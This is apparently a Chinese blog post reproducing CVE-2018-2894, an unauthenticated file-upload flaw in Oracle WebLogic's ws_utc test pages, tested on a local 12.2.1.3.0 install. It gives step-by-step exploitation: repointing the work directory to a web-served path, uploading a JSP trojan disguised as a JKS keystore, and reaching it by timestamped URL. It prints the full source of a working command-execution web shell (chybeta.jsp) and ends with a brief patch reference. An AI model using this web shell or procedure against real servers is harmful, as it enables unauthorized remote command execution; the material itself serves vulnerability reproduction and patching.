CVE-2018-2894 漏洞复现

CVE-2018-2894 漏洞复现

名称: WebLogic反序列化远程命令执行漏洞
漏洞影响版本:10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3
测试版本: 12.2.1.3.0

漏洞背景

WebLogic管理端未授权的两个页面存在任意上传getshell漏洞,可直接获取权限。两个页面分别为/ws_utc/begin.do,/ws_utc/config.do

 

我测试的版本是 12.2.1.3.0

漏洞协议:HTTP,框架:WLS - Web Services

利用条件:

 

 
1.配置访问目录

访问 http://localhost:7001/ws_utc/config.do (配置工作目录页面),需要配置工作目录为可以访问的目录

默认目录是:

E:\weblogic\weblogic_12\user_projects\domains\base_domain\tmp\WSTestPageWorkDir

配置为:E:\weblogic\weblogic_12\user_projects\domains\base_domain\servers\AdminServer\tmp_WL_internal\com.oracle.webservices.wls.ws-testclient-app-wls\4mcj4y\war

2.抓包上传木马

点击页面左侧的安全,添加 JKS Keystores, 设置名字、密码(密码可以不设置)、上传木马文件(大马、一句话、cmd马都可以)

我这里上传cmd马,chybeta.jsp(木马在文章末尾),上传的同时抓包,(抓取时间戳然后访问)

 
上传木马路径.png

抓包看时间戳和文件名,

 
抓包查看时间戳和文件名.png
3.访问木马,执行命令

http://localhost:7001/ws_utc/config/keystore/1561954783799_chybeta.jsp

 
 

cmd木马文件

chybeta.jsp

 <%@ page import="java.util.*,java.io.*,java.net.*"%>  <HTML><BODY>
<form action="" name="myform" method="POST" style="box-sizing: border-box; margin-top: 0px;"><input name="cmd" type="text" style="box-sizing: border-box !important; color: var(--text-color); font: inherit; margin: 0px;  padding-left: 4px; border: 1px solid rgba(146, 146, 146, 0.56);"> <input value="Send" type="submit" style="box-sizing: border-box !important; color: var(--text-color); font: inherit; margin: 0px;  padding-left: 4px; border: 1px solid rgba(146, 146, 146, 0.56); -webkit-appearance: button; cursor: pointer;"></form>

<pre class="" style="box-sizing: border-box; overflow: auto; font-family: var(--monospace); margin-bottom: 0px; width: inherit; white-space: pre-wrap;"><%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "\n
");
        Process p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr); disr = dis.readLine(); }
        }
%>
</pre>
</BODY></HTML> 

 

漏洞检测:

Work Home Dir
当前的工作目录:

http://127.0.0.1:7001/ws_utc/resources/setting/options/genera

/u01/oracle/user_projects/domains/base_domain/tmp/WSTestPageWorkDir

 

修复:

Oracle重要补丁更新咨询-2018年7月

 

https://docs.oracle.com/middleware/1212/owsm/WSSEC/webservice-test.htm#WSSEC4211  

from

https://xz.aliyun.com/t/2458

posted @ 2019-07-01 12:52  rab3it  阅读(3771)  评论(0)    收藏  举报